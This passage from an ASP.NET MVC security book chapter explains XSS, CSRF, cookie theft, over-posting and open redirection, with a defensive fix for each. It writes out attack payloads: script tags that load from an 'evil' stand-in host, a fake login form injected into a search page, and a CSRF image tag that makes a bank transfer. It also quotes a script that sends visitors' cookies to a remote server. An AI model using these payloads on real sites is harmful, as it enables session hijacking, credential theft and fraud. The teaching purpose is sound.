The first thing an attacker does is see whether the site will encode certain characters upon input. A safe bet is that the comment field is protected and probably so is the name field, but the URL field smells ripe for injection. To test this, you can enter an innocent query, like the one in Figure 7.10.

image

Figure 7.10

It's not a direct attack, but you've placed a “less than” sign into the URL; what you want to see is if it gets encoded to <, which is the HTML replacement character for <. If you post the comment and look at the result, all looks fine (see Figure 7.11).

image

Figure 7.11

Nothing here suggests anything is amiss. But you've already been tipped off that injection is possible—no validation is in place to tell you that the URL you've entered is invalid! If you view the source of the page, your XSS Ninja Hacker reflexes get a rush of adrenaline because right there, plain as day, is very low-hanging fruit:

<a href="No blog! Sorry :<">Bob</a>

This may not seem immediately obvious, but take a second and put your Black Hat on, and see what kind of destruction you can cause. See what happens when you enter this:

"><iframe src="http://haha.juvenilelamepranks.example.com" height="400" width=500/>

This entry closes off the anchor tag that is not protected and then forces the site to load an IFRAME, as shown in Figure 7.12.

image

Figure 7.12

This would be pretty silly if you were out to hack a site, because it would tip off the site's administrator and a fix would quickly be issued. No, if you were being a truly devious Black Hat Ninja Hacker, you would probably do something like this:

"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="

This line of input would close off the anchor tag, inject a script tag, and then open another anchor tag so as not to break the flow of the page. No one's the wiser (see Figure 7.13).

image

Figure 7.13

Even when you hover over the name in the post, you won't see the injected script tag—it's an empty anchor tag! The malicious script would then run when anyone visits the site and could do malicious operations such as send the user's cookies or data to the hacker's own site.

Active Injection

Active XSS injection involves a user sending in malicious information that is immediately shown on the page and is not stored in the database. The reason it's called active is that it involves the user's participation directly in the attack—it doesn't sit and wait for a hapless user to stumble upon it.

You might be wondering how this kind of thing would represent an attack. It seems silly, after all, for users to pop up JavaScript alerts to themselves or to redirect themselves off to a malicious site using your site as a graffiti wall—but there are definitely reasons for doing so.

Consider the search this site mechanism, found on just about every site out there. Most site searches return a message saying something to the effect of “Your search for ‘Active Script Injection' returned X results.” Figure 7.14 shows one from an MSDN search.

image

Figure 7.14

Far too often, this message is not HTML-encoded. The general feeling here is that if users want to play XSS with themselves, let them. The problem comes in when you enter the following text into a site that is not protected against active injection (using a Search box, for example):

"<br><br>Please login with the form below before proceeding:

<form action="mybadsite.aspx"><table><tr><td>Login:</td><td>

<input type=text length=20 name=login></td></tr>

<tr><td>Password:</td><td><input type=text length=20 name=password>

</td></tr></table><input type=submit value=LOGIN></form>"

This little bit of code (which can be extensively modified to mess with the search page) actually outputs a login form on your search page that submits to an offsite URL. There is a site that is built to show this vulnerability (from the people at Acunetix, who built this site intentionally to show how active injection can work), and loading the preceding term into their search form renders what's shown in Figure 7.15.

image

Figure 7.15

We could have spent a little more time with the site's CSS and format to get this just right, but even this basic little hack is amazingly deceptive. If users were to actually fall for this, they would be handing the attacker their login information!

The basis of this attack is our old friend, social engineering:

Hey look at this cool site with pictures of you from the party! You'll have to log inI protected them from public view….

The link would be this:

<a href="http://testasp.vulnweb.com/Search.asp?tfSearch=<br><br>Please login

with the form below before proceeding:<form action='mybadsite.aspx'><table>

<tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr>

<td>Password:</td><td><input type=text length=20 name=password></td></tr>

</table><input type=submit value=LOGIN></form>">look at this cool site with

pictures of you from the party!</a>

Plenty of people fall for this kind of thing every day, believe it or not.

Preventing XSS

This section outlines the various ways to prevent XSS attacks in your MVC applications.

HTML Encode All Content

Most of the time, you can avoid XSS by using simple HTML encoding—the process by which the server replaces HTML-reserved characters (like < and >) with codes. You can do this with MVC in the view simply by using Html.Encode or Html.AttributeEncode for attribute values.

If you get only one thing from this chapter, please let it be this: Every bit of output on your pages should be HTML encoded or HTML attribute encoded. I said this at the beginning of the chapter, but I want to say it again: Html.Encode is your best friend.

Note

Views using the Web Forms view engine should always use Html.Encode when displaying information. The ASP.NET 4 HTML Encoding Code Block syntax makes this easier because you can replace:

<% Html.Encode(Model.FirstName) %>

with the much shorter:

<%: Model.FirstName %>

The Razor view engine HTML encodes output by default, so a model property displayed using:

@Model.FirstName

will be HTML encoded without any additional work on your part.

If you are absolutely certain that the data has already been sanitized or comes only from a trusted source (such as yourself), you can use an HTML helper to output the data verbatim:

@Html.Raw(Model.HtmlContent)

For more information on using Html.Encode and HTML Encoding Code Blocks, see the discussion in Chapter 3.

It's worth mentioning at this point that ASP.NET Web Forms guides you into a system of using server controls and postback, which, for the most part, tries to prevent XSS attacks. Not all server controls protect against XSS (for example, Labels and Literals), but the overall Web Forms package tends to push people in a safe direction.

MVC offers you more freedom—but it also allows you some protections out of the box. Using HtmlHelpers, for example, encodes your HTML as well as encodes the attribute values for each tag.

However, you don't need to use any of these things to use MVC. You can use an alternate view engine and decide to write HTML by hand—this is up to you, and that's the point. However, you need to understand this decision in terms of what you're giving up, which are some automatic security features.

Html.AttributeEncode and Url.Encode

Most of the time the HTML output on the page gets all the attention; however, protecting any attributes that are dynamically set in your HTML is also important. In the original example shown previously, you saw how to spoof the author's URL by injecting some malicious code into it. This was accomplished because the sample outputs the anchor tag like this:

<a href="<%=Url.Action(AuthorUrl)%>"><%=AuthorUrl%></a>

To properly sanitize this link, you need to be sure to encode the URL that you're expecting. This replaces reserved characters in the URL with other characters (" " with %20, for example).

You might also have a situation in which you're passing a value through the URL based on user input from somewhere on your site:

<a href="<%=Url.Action("index","home",new {name=ViewData["name"]})%>">Go home</a>

If the user is evil, she could change this name to:

"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="

and then pass that link on to unsuspecting users. You can avoid this by using encoding with Url.Encode or Html.AttributeEncode:

<a href="<%=Url.Action("index","home",new

{name=Html.AttributeEncode(ViewData["name"])})%>">Click here</a>

or:

<a href="<%=Url.Encode(Url.Action("index","home",

new {name=ViewData["name"]}))%>">Click here</a>

Bottom line: Never, ever trust any data that your user can somehow touch or use. This includes any form values, URLs, cookies, or personal information received from third-party sources such as OpenID. Remember that the databases or services your site accesses can be compromised, too. Anything input to your application is suspect, so you need to encode everything you possibly can.

JavaScript Encoding

Just HTML encoding everything isn't necessarily enough, though. Let's take a look at a simple exploit that takes advantage of the fact that HTML encoding doesn't prevent JavaScript from executing.

In this scenario, assume that you've modified the HomeController in a default MVC 5 application to take a username as a parameter and add it to the ViewBag to display in a greeting:

public ActionResult Index(string UserName)

{

ViewBag.UserName = UserName;

return View();

}

Your boss wants to draw attention to this message, so you're animating it in with the following jQuery. The updated header section of the /Home/Index.cshtml view shows this code.

@{

ViewBag.Title = "Home Page";

}

<div class="jumbotron">

<h1>ASP.NET</h1>

<h2 id="welcome-message"></h2>

</div>

@section scripts {

@if(ViewBag.UserName != null) {

<script type="text/javascript">

$(function () {

var msg = "Welcome, @ViewBag.UserName!';

$("#welcome-message").html(msg).hide().show('slow');

});

</script>

}

}

This looks great, and because you're HTML encoding the ViewBag value, you're perfectly safe, right? No, you are not. The following URL will slip right through (see Figure 7.16): http://localhost:1337/?UserName=Jon\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e.

image

Figure 7.16

What happened? Well, remember that you were HTML encoding, not JavaScript encoding. You were allowing user input to be inserted into a JavaScript string that was then added to the Document Object Model (DOM). That means that the hacker could take advantage of hex escape codes to put in any JavaScript code he or she wanted. And as always, remember that real hackers won't show a JavaScript alert—they'll do something evil, like silently steal user information or redirect them to another web page.

There are two solutions to this problem. The narrow solution is to use the Ajax.JavaScriptStringEncode helper function to encode strings that are used in JavaScript, exactly as you would use Html.Encode for HTML strings. A more thorough solution is to use the AntiXSS library.

Using AntiXSS as the Default Encoder for ASP.NET

The AntiXSS library can add an additional level of security to your ASP.NET applications. There are a few important differences in how it works compared with the ASP.NET and MVC encoding functions, but the most important are as follows:

Note

The extensibility point that allows overriding the default encoder was added in ASP.NET 4. Previous versions of MVC running on .NET 3.5 cannot override the default encoder.

· AntiXSS uses a whitelist of allowed characters, whereas ASP.NET's default implementation uses a limited blacklist of disallowed characters. By allowing only known safe input, AntiXSS is more secure than a filter that tries to block potentially harmful input.

· The AntiXSS library is focused on preventing security vulnerabilities in your applications, whereas ASP.NET encoding is primarily focused on preventing display problems due to “broken” HTML.

The AntiXSS encoder portion of the Microsoft Web Protection Library (WPL) is included with .NET 4.5 and higher. To use the AntiXSS library, you'll just need to make a one-line addition to the httpRuntime section of your web.config:

<httpRuntime ...

encoderType="System.Web.Security.AntiXss.AntiXssEncoder,System.Web,

Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />

With that in place, any time you call Html.Encode or use an <%:%> HTML Encoding Code Block, the AntiXSS library encodes the text, which takes care of both HTML and JavaScript encoding.

The portions of the AntiXSS library included in .NET 4.5 are

· HtmlEncode, HtmlFormUrlEncode, and HtmlAttributeEncode

· XmlAttributeEncode and XmlEncode

· UrlEncode and UrlPathEncode

· CssEncode

If desired, you can install the AntiXSS NuGet package to take of some additional encoder support such as an advanced JavaScript string encode. This prevents some sophisticated attacks that could get by the Ajax.JavaScriptStringEncode helper function. The following code sample shows how this is done. First, you add an @using statement to bring in the AntiXSS encoder namespace, and then you can use the Encoder.JavaScriptEncode helper function.

@using Microsoft.Security.Application

@{

ViewBag.Title = "Home Page";

}

@section featured {

<section class="featured">

<div class="content-wrapper">

<hgroup class="title">

<h1>@ViewBag.Title.</h1>

<h2 id="welcome-message"></h2>

</hgroup>

</div>

</section>

}

@section scripts {

@if(ViewBag.UserName != null) {

<script type="text/javascript">

$(function () {

var msg = "Welcome, @Encoder.JavaScriptEncode(

ViewBag.UserName, false)!';

$("#welcome-message").html(msg).hide().show('slow');

});

</script>

}

}

When this is executed, you'll see that the previous attack is no longer successful, as shown in Figure 7.17.

Note

Note that, although using the AntiXSS encoder that ships with ASP.NET is easy, finding cases for which the whitelist approach is preferable to the standard blacklist approach is a little difficult. There are only so many approaches to XSS, and we haven't seen a new one that gets by the standard blacklist in quite a while. The important thing is to always encode your output, which should keep your site safe from any XSS attack.

image

Figure 7.17

Threat: Cross-Site Request Forgery

A cross-site request forgery (CSRF, pronounced C-surf, also known by the acronym XSRF) attack can be quite a bit more potent than simple XSS, discussed earlier. This section discusses CSRF, what it means to you, and how to prevent it.

Cross-Site Request Threat Summary

To fully understand what CSRF is, let's look at one case: XSS plus a confused deputy. We've already discussed XSS, but the term confused deputy is new and worth discussing. Wikipedia describes a confused deputy attack as follows:

A confused deputy is a computer program that is innocently fooled by some other party into misusing its authority. It is a specific type of privilege escalation.

http://en.wikipedia.org/wiki/confused_deputy_problem

In this case, that deputy is your browser, and it's being tricked into misusing its authority in representing you to a remote website. To illustrate this, we've worked up a rather silly yet annoying example.

Suppose that you create a nice site that lets users log in and out and do whatever it is that your site lets them do. You've decided to write your own AccountController because… well, how hard could it be? Your AccountController includes a simple LogOff method, and because you don't much care for attributes you've left off some of the “extra” stuff from the standard AccountController such as [HttpPost] and [ValidateAntiForgeryToken]:

public ActionResult Logout() {

AuthenticationManager.SignOut();

return RedirectToAction("Index", "Home");

}

Note

Note that—if it's not entire clear—we're being facetious for the sake of example here. The security measures in the AccountController are there for a reason, as this section illustrates.

Now, suppose that your site allows limited whitelist HTML (a list of acceptable tags or characters that might otherwise get encoded) to be entered as part of a comment system (maybe you wrote a forums app or a blog) — most of the HTML is stripped or sanitized, but you allow images because you want users to be able to post screenshots.

One day, a nice person adds this mildly malicious HTML image tag to his comment:

<img src="/account/logout" />

Now, whenever anyone visits this page, the “image” will be requested (which of course isn't an image at all), and they are logged out of the site. Again, this isn't necessarily a CSRF attack, but it shows how some trickery can coax your browser into making a GET request to an arbitrary site without your knowing about it. In this case, the browser did a GET request for what it thought was an image—instead, it called the logout routine and passed along your cookie. Boom—confused deputy.

This attack works because of the way the browser works. When you log in to a site, information is stored in the browser as a cookie. This can be an in-memory cookie (a session cookie), or it can be a more permanent cookie written to file. Either way, the browser tells your site that it is indeed you making the request.

The core of CSRF is the ability to use XSS plus a confused deputy (and a sprinkle of social engineering, as always) to pull off an attack on one of your users.

Note

Note that an XSS vulnerability on another site could still link to your site, and there are other methods in addition to XSS that can lead to CSRF—the key is the confused deputy scenario.

Unfortunately, CSRF happens to be a vulnerability that not many sites have prevention measures for (I talk about these in just a minute).

Let's up the stakes a bit and work up a real CSRF example, so put on your Black Hat and see what kind of damage you can do with your favorite massively public, unprotected website. We won't use real names here—so let's call this site Big Massive Site.

Right off the bat, it's worth noting that this is an odds game that you, as Mr. Black Hat, are playing with Big Massive Site's users. There are ways to increase these odds, which are covered in a minute, but straight away the odds are in your favor because Big Massive Site has upward of 50 million requests per day.

Now it comes down to the Play—finding out what you can do to exploit Big Massive Site's security hole: the inclusion of linked comments on the site. In surfing the Web and trying various things, you have amassed a list of Widely Used Online Banking Sites that allow transfers of money online as well as the payment of bills. You've studied the way that these Widely Used Online Banking Sites actually carry out their transfer requests, and one of them offers some seriously low-hanging fruit—the transfer is identified in the URL:

http://widelyusedbank.example.com?function=transfer&amount=1000& toaccountnumber=23234554333&from=checking

Granted, this might strike you as extremely silly—what bank would ever do this? Unfortunately, the answer to that question is “too many,” and the reason is actually quite simple — web developers trust the browser far too much, and the URL request that you're seeing is leaning on the fact that the server will validate the user's identity and account using information from a session cookie. This isn't necessarily a bad assumption—the session cookie information is what keeps you from logging in for every page request! The browser has to remember something!

There are still some missing pieces here, and for that you need to use a little social engineering. You pull your Black Hat down a little tighter and log in to Big Massive Site, entering this as a comment on one of the main pages:

Hey, did you know that if you're a Widely Used Bank customer the sum of the digits of your account number add up to 30? It's true! Have a look:

http://www.widelyusedbank.example.com.

You then log out of Big Massive Site and log back in with a second, fake account, leaving a comment following the seed comment above as the fake user with a different name:

"OMG you're right! How weird!<img src ="

http://widelyusedbank.example.com?function=transfer&amount=1000&toaccountnumber=

23234554333&from=checking" />.

The game here is to get Widely Used Bank customers to go log in to their accounts and try to add up their numbers. When they see that it doesn't work, they head back over to Big Massive Site to read the comment again (or they leave their own saying it doesn't work).

Unfortunately for Perfect Victim, his browser still has his login session stored in memory—he is still logged in! When he lands on the page with the CSRF attack, a request is sent to the bank's website (where they are not ensuring that you're on the other end), and bam, Perfect Victim just lost some money.

The image in the comment (with the CSRF link) will be rendered as a broken red X, and most people will think it's just a bad avatar or emoticon. But actually, it is a remote call to a page that uses GET to run an action on a server—a confused deputy attack that nets you some cold cash. It just so happens that the browser in question is Perfect Victim's browser—so it isn't traceable to you (assuming that you've covered your behind with respect to fake accounts in the Bahamas, and so on). This is almost the perfect crime!

This attack isn't restricted to simple image tag/GET request trickery; it extends well into the realm of spammers who send out fake links to people in an effort to get them to click to go to their site (as with most bot attacks). The goal with this kind of attack is to get users to click the link, and when they land on the site, a hidden iFRAME or bit of script auto-submits a form (using HTTP POST) off to a bank, trying to make a transfer. If you're a Widely Used Bank customer and have just been there, this attack will work.

Revisiting the previous forum post social engineering trickery—it only takes one additional post to make this latter attack successful:

Wow! And did you know that your savings account number adds up to 50? This is so weird—read this news release about it:

<a href="http://badnastycsrfsite.example.com">CNN.com</a>

It's really weird!

Clearly, you don't even need to use XSS here—you can just plant the URL and hope that someone is clueless enough to fall for the bait (going to their Widely Used Bank account and then heading to your fake page at http://badnastycsrfsite.example.com).

Preventing CSRF Attacks

You might be thinking that this kind of thing should be solved by the framework—and it is! ASP.NET MVC puts the power in your hands, so perhaps a better way of thinking about this is that ASP.NET MVC should enable you to do the right thing, and indeed it does!

Token Verification

ASP.NET MVC includes a nice way of preventing CSRF attacks, and it works on the principle of verifying that the user who submitted the data to your site did so willingly. The simplest way to do this is to embed a hidden input into each form request that contains a unique value. You can do this with the HTML Helpers by including this in every form:

<form action="/account/register" method="post">

@Html.AntiForgeryToken()

</form>

Html.AntiForgeryToken outputs an encrypted value as a hidden input:

<input type="hidden" value="012837udny31w90hjhf7u">

This value matches another value that is stored as a session cookie in the user's browser. When the form is posted, these values are matched using an ActionFilter:

[ValidateAntiforgeryToken]

public ActionResult Register(…)

This handles most CSRF attacks — but not all of them. In the previous example, you saw how users can be registered automatically to your site. The anti-forgery token approach takes out most CSRF-based attacks on your Register method, but it won't stop the botsout there that seek to auto-register (and then spam) users to your site. We will look at ways to limit this kind of thing later in the chapter.

Idempotent GETs

Idempotent is a big word, for sure—but it's a simple concept. If an operation is idempotent, it can be executed multiple times without changing the result. In general, a good general rule is that you can prevent a whole class of CSRF attacks by only changing things in your DB or on your site by using POST. This means registration, logout, login, and so forth. At the very least, this limits the confused deputy attacks somewhat.

HttpReferrer Validation

HttpReferrer validation is handled using an ActionFilter, wherein you check to see whether the client that posted the form values was indeed your site:

public class IsPostedFromThisSiteAttribute : AuthorizeAttribute

{

public override void OnAuthorize(AuthorizationContext filterContext)

{

if (filterContext.HttpContext != null)

{

if (filterContext.HttpContext.Request.UrlReferrer == null)

throw new System.Web.HttpException("Invalid submission");

if (filterContext.HttpContext.Request.UrlReferrer.Host !=

"mysite.com")

throw new System.Web.HttpException

("This form wasn't submitted from this site!");

}

}

}

You can then use this filter on the Register method, as follows:

[IsPostedFromThisSite]

public ActionResult Register(…)

As you can see there are different ways of handling CSRF—which is the point of MVC. It's up to you to know what the alternatives are and to pick one that works for you and your site.

Threat: Cookie Stealing

Cookies are one of the things that make the Web usable, as most sites use cookies to identify users after login. Without them, life becomes login box after login box. If attackers can steal your cookie, they can often impersonate you.

As a user, you can disable cookies on your browser to minimize the theft of your particular cookie (for a given site), but chances are you'll get a snarky warning that “Cookies must be enabled to access this site.”

This section discusses cookie stealing, what it means to you, and how to prevent it.

Cookie-Stealing Threat Summary

Websites use cookies to store information between page requests or browsing sessions. Some of this information is pretty tame—things like site preferences and history. Other information can contain information the site uses to identify you between requests, such as the ASP.NET Forms Authentication Ticket.

There are two types of cookies:

· Session cookies: Stored in the browser's memory and are transmitted via the header during every request.

· Persistent cookies: Stored in actual text files on your computer's hard drive and are transmitted the same way.

The main difference is that session cookies are forgotten when your session ends—persistent cookies are not, and a site will remember you the next time you come along.

If you could manage to steal someone's authentication cookie for a website, you could effectively assume their identity and carry out all the actions that they are capable of. This type of exploit is actually very easy—but it relies on XSS vulnerability. The attacker must be able to inject a bit of script onto the target site in order to steal the cookie.

Jeff Atwood of CodingHorror.com wrote about this issue as StackOverflow.com was going through beta:

Imagine, then, the surprise of my friend when he noticed some enterprising users on his website were logged in as him and happily banging away on the system with full unfettered administrative privileges.

http://www.codinghorror.com/blog/2008/08/protecting-your-cookies-httponly.html

How did this happen? XSS, of course. It all started with this bit of script added to a user's profile page:

<img src=""http://www.a.com/a.jpg<script type=text/javascript

src="http://1.2.3.4:81/xss.js">" /><<img

src=""http://www.a.com/a.jpg</script>"

StackOverflow.com allows a certain amount of HTML in the comments—something that is incredibly tantalizing to an XSS hacker. The example that Jeff offered on his blog is a perfect illustration of how an attacker might inject a bit of script into an innocent-appearing ability such as adding a screenshot image.

The problem in this case was a custom whitelist approach to XSS prevention. The attacker, in this case, exploited a hole in the homegrown HTML sanitizer:

Through clever construction, the malformed URL just manages to squeak past the sanitizer. The final rendered code, when viewed in the browser, loads and executes a script from that remote server. Here's what that JavaScript looks like:

window.location="http://1.2.3.4:81/r.php?u="

+document.links[1].text

+"&l="+document.links[1]

+"&c="+document.cookie;

That's right—whoever loads this script-injected user profile page has just unwittingly transmitted their browser cookies to an evil remote server!

In short order, the attacker managed to steal the cookies of the StackOverflow.com users, and eventually Jeff's as well. This allowed the attacker to log in and assume Jeff's identity on the site (which was fortunately still in beta) and effectively do whatever he felt like doing. A very clever hack, indeed.

Preventing Cookie Theft with HttpOnly

The StackOverflow.com attack was facilitated by two things:

· XSS vulnerability: The site relied on custom anti-XSS code, which generally is not a good idea; you should rely on things such as BB Code or other ways of allowing your users to format their input. In this case, an error in the code opened the XSS hole.

· Cookie vulnerability: The StackOverflow.com cookies were not set to disallow script access from the client's browser.

You can stop script access to all cookies in your site by adding a simple flag: HttpOnly. You can set this flag in the web.config, as follows:

<httpCookies domain="" httpOnlyCookies="true" requireSSL="false" />

You can also set it individually for each cookie you write:

Response.Cookies["MyCookie"].Value="Remembering you…";

Response.Cookies["MyCookie].HttpOnly=true;

The setting of this flag tells the browser to invalidate the cookie if anything but the server sets it or changes it. This technique is fairly straightforward, and it stops most XSS-based cookie issues, believe it or not. Because it is rare for scripts to need to access to cookies, this feature should almost always be used.

Threat: Over-Posting

ASP.NET MVC Model Binding is a powerful feature that greatly simplifies the process handling user input by automatically mapping the input to your model properties based on naming conventions. However, this presents another attack vector, which can allow your attacker an opportunity to populate model properties you didn't even put on your input forms.

This section discusses over-posting, what it means to you, and how to prevent it.

Over-Posting Threat Summary

ASP.NET Model Binding can present another attack vector through over-posting. Here's an example with a store product page that allows users to post review comments:

public class Review {

public int ReviewID { get; set; } // Primary key

public int ProductID { get; set; } // Foreign key

public Product Product { get; set; } // Foreign entity

public string Name { get; set; }

public string Comment { get; set; }

public bool Approved { get; set; }

}

You have a simple form with the only two fields you want to expose to a reviewer, Name and Comment:

Name: @Html.TextBox("Name") <br />

Comment: @Html.TextBox("Comment")

Because you've only exposed Name and Comment on the form, you might not be expecting that a user could approve his or her own comment. However, a malicious user can easily meddle with the form post using any number of web developer tools, adding"Approved=true" to the query string or form post data. The model binder has no idea what fields you've included on your form and will happily set the Approved property to true.

What's even worse, because your Review class has a Product property, a hacker can try posting values in fields with names such as Product.Price, potentially altering values in a table you never expected end users can edit.

Example: Mass Assignment on Github.com

An over-posting attack exploits a feature that is common to many web frameworks that are based on the MVC architectural pattern. In March 2012, this exact attack was used in a widely publicized attack on the GitHub.com site, exploiting the mass assignment feature Ruby on Rails. The attacker created a new public key, which can be used for administrative updates, and manually added that key to the administrative user record for the “rails” user by adding that hidden field to the form on which he had created the public key:

<input type=hidden value=USER_ID_OF_TARGET_ACCOUNT

name=public_key[user_id]>

He inserted the User ID of the target account into the value attribute of that form field, submitted the form, and then had administrative privileges for that user's content. The attacker described the attack in a very terse blog post here:http://homakov.blogspot.com/2012/03/how-to.html

GitHub promptly fixed the error by properly validating incoming form parameters, as described in their blog post here:https://github.com/blog/1068-public-key-security-vulnerability-and-mitigation

The point is, over-posting attacks are not just theoretical, and after this incident the technique has become more widely known.

Preventing Over-Posting with the Bind Attribute

The simplest way to prevent an over-posting attack is to use the BindAttribute to explicitly control which properties you want the Model Binder to bind to. You can place BindAttribute either on the Model class or in the controller action parameter. You can use either a whitelist approach (discussed previously), which specifies all the fields you'll allow binding to [Bind(Include="Name, Comment")], or you can just exclude fields you don't want to be bound to using a blacklist approach [Bind(Exclude="ReviewID, ProductID, Product, Approved"]. Generally using a whitelist is a lot safer, because making sure you just list the properties you want bound is easier than enumerating all the properties you don't want bound.

In MVC 5, scaffolded controllers automatically include a whitelist in the controller actions to exclude IDs and linked classes.

Here's how to annotate the Review model class to only allow binding to the Name and Comment properties:

[Bind(Include="Name, Comment")]

public class Review {

public int ReviewID { get; set; } // Primary key

public int ProductID { get; set; } // Foreign key

public Product Product { get; set; } // Foreign entity

public string Name { get; set; }

public string Comment { get; set; }

public bool Approved { get; set; }

}

A second alternative is to use one of the overloads on UpdateModel or TryUpdateModel that accepts a bind list, like the following:

UpdateModel(review, "Review", new string[] { "Name", "Comment" });

Still another—and arguably, the best—way to deal with over-posting is to avoid binding directly to the data model. You can do this by using a view model that holds only the properties you want to allow the user to set. The following view model eliminates the over-posting problem:

public class ReviewViewModel {

public string Name { get; set; }

public string Comment { get; set; }

}

The benefit of binding to view models instead of data models is that it's a lot more foolproof. Rather than having to remember to include whitelist or blacklists (and keep them up to date), the view model approach is a generally safe design—the only way something can get bound is if you include it in your view model.

Note

Brad Wilson wrote a good post that overviews the security implications of Model Validation, titled Input Validation vs. Model Validation. This guidance was written when these validation features were first released in MVC 2, but it's still relevant. You can read it at http://bradwilson.typepad.com/blog/2010/01/input-validation-vs-model-validation-in-aspnet-mvc.html.

Threat: Open Redirection

Prior to ASP.NET MVC 3, the AccountController was vulnerable to an open redirection attack. We'll look at how open redirection attacks work and discuss the code in MVC 5's AccountController that prevents this attack.

Open Redirection Threat Description

Any web application that redirects to a URL that is specified via the request, such as the query string or form data, can potentially be tampered with to redirect users to an external, malicious URL. This tampering is called an open redirection attack.

Whenever your application logic redirects to a specified URL, you must verify that the redirection URL hasn't been tampered with. The login used in the default AccountController for both MVC 1 and MVC 2 didn't perform this verification, and was vulnerable to open redirection attacks.

A Simple Open Redirection Attack

To understand the vulnerability, let's look at how the login redirection works in a default MVC 2 Web Application project. In this application, attempting to visit a controller action that has the AuthorizeAttribute redirects unauthorized users to the /Account/LogOnview. This redirect to /Account/LogOn includes a returnUrl query string parameter so that the users can be returned to the originally requested URL after they have successfully logged in.

In Figure 7.18, you can see that an attempt to access the /Account/ChangePassword view when not logged in results in a redirect to /Account/LogOn?ReturnUrl=%2fAccount%2fChangePassword%2f.

image

Figure 7.18

Because the ReturnUrl query string parameter is not validated, an attacker can modify it to inject any URL address into the parameter to conduct an open redirection attack. To demonstrate this, you can modify the ReturnUrl parameter to http://bing.com, so the resulting login URL will be /Account/LogOn?ReturnUrl=/Account/LogOn?ReturnUrl=http://www.bing.com/. Upon successfully logging in to the site, you are redirected to http://bing.com. Because this redirection is not validated, it could instead point to a malicious site that attempts to trick the user.

A More Complex Open Redirection Attack

Open redirection attacks are especially dangerous because an attacker knows that you're trying to log in to a specific website, which makes you vulnerable to a phishing attack. For example, an attacker could send malicious e-mails to website users in an attempt to capture their passwords. Let's look at how this would work on the NerdDinner site. (Note that the live NerdDinner site has been updated to protect against open redirection attacks.)

First, an attacker sends a link to the login page on NerdDinner that includes a redirect to their forged page: http://nerddinner.com/Account/LogOn?returnUrl=http://nerddinner.com/Account/LogOn?returnUrl=http://nerddiner.com/Account/LogOn

Note that the return URL points to a hypothetical nerddiner.com site, which is missing an “n” from the word dinner. In this example, this is a domain that the attacker controls. When you access the preceding link, you're taken to the legitimate NerdDinner.com login page, as shown in Figure 7.19.

image

Figure 7.19

When you correctly log in, the ASP.NET MVC AccountController's LogOn action redirects you to the URL specified in the returnUrl query string parameter. In this case, it's the URL that the attacker has entered, which is http://nerddiner.com/Account/LogOn. Unless you're extremely watchful, you very likely won't notice this, especially because the attacker has been careful to make sure that his forged page looks exactly like the legitimate login page. This login page includes an error message requesting that you log in again, as shown in Figure 7.20. Clumsy you—you must have mistyped your password.

image

Figure 7.20

When you retype your username and password, the forged login page saves the information and sends you back to the legitimate NerdDinner.com site. At this point, the NerdDinner.com site has already authenticated us, so the forged login page can redirect directly to that page. The end result is that the attacker has your username and password, and you are unaware that you've provided it to them.

Looking at the Vulnerable Code in the AccountController LogOn Action

The code for the LogOn action in an MVC 2 application is shown in the following code. Note that upon a successful login, the controller returns a redirect to the returnUrl. You can see that no validation is being performed against the returnUrl parameter.

[HttpPost]

public ActionResult LogOn(LogOnModel model, string returnUrl)

{

if (ModelState.IsValid)

{

if (MembershipService.ValidateUser(model.UserName, model.Password))

{

FormsService.SignIn(model.UserName, model.RememberMe);

if (!String.IsNullOrEmpty(returnUrl))

{

return Redirect(returnUrl);

}

else

{

return RedirectToAction("Index", "Home");

}

}

else

{

ModelState.AddModelError("",

"The user name or password provided is incorrect.");

}

}

// If we got this far, something failed, redisplay form

return View(model);

}

Look at the changes to the MVC 5 Login action. This code now calls a RedirectToLocal function, which, in turn, validates the returnUrl by calling a new method in the System.Web.Mvc.Url helper class named IsLocalUrl():

[HttpPost]

[AllowAnonymous]

[ValidateAntiForgeryToken]

public async Task<ActionResult> Login(LoginViewModel model, string returnUrl)

{

if (ModelState.IsValid)

{

var user = await UserManager.FindAsync(

model.UserName, model.Password);

if (user != null)

{

await SignInAsync(user, model.RememberMe);

return RedirectToLocal(returnUrl);

}

else

{

ModelState.AddModelError("",

"Invalid username or password.");

}

}

// If we got this far, something failed, redisplay form

return View(model);

}

Taking Additional Actions When an Open Redirect Attempt Is Detected

The AccountController's open redirect check prevents the attack, but doesn't notify you or the user that it occurred. You may want to take additional actions when an open redirect is detected. For instance, you might want to log this as a security exception using the free ELMAH logging library and display a custom logon message that lets users know that they've been logged in but that the link they clicked might have been malicious. In an MVC 4 or 5 application, you would handle additional logging in the AccountController RedirectToLocal method:

private ActionResult RedirectToLocal(string returnUrl)

{

if (Url.IsLocalUrl(returnUrl))

{

return Redirect(returnUrl);

}

else

{

// Actions on for detected open redirect go here.

string message = string.Format(

"Open redirect to to {0} detected.", returnUrl);

ErrorSignal.FromCurrentContext().Raise(

new System.Security.SecurityException(message));

return RedirectToAction("SecurityWarning", "Home");

}

}

Open Redirection Summary

Open redirection attacks can occur when redirection URLs are passed as parameters in the URL for an application. The MVC 1 and 2 templates were vulnerable to this attack, and serve as a pretty good demonstration of the threat. MVC 3 and above include checks for open redirects in the AccountController. You can both learn from how the check was implemented and take advantage of the Url.IsLocalUrl method, which was added for this exact purpose.

PROPER ERROR REPORTING AND THE STACK TRACE

Quite often, sites go into production with the <customErrors mode= "off"> attribute set in the web.config. This isn't specific to ASP.NET MVC, but it's worth bringing up in the security chapter because it happens all too often.

There are three possible settings for the customErrors mode:

· On is the safest for production servers, because it always hides error messages.

· RemoteOnly shows generic errors to most users, but exposes the full error messages to users with server access.

· The most vulnerable setting is Off, which exposes detailed error messages to anyone who visits your website.

Detailed error messages can expose information about how your application works. Hackers can exploit this by forcing your site to fail—perhaps sending in bad information to a controller using a malformed URL or tweaking the query string to send in a string when an integer is required.

Temporarily turning off the Custom Errors feature when troubleshooting a problem on your production server is tempting, but if you leave Custom Errors disabled (mode="Off") and an exception occurs, the ASP.NET run time shows a detailed error message, which also shows the source code where the error happened. If someone were so inclined, she could steal a lot of your source and find (potential) vulnerabilities that she could exploit in order to steal data or shut your application down.

The root cause of this problem is waiting for an emergency to think about error handling, so the obvious solution is to think about error handing before the emergency hits.

Using Configuration Transforms

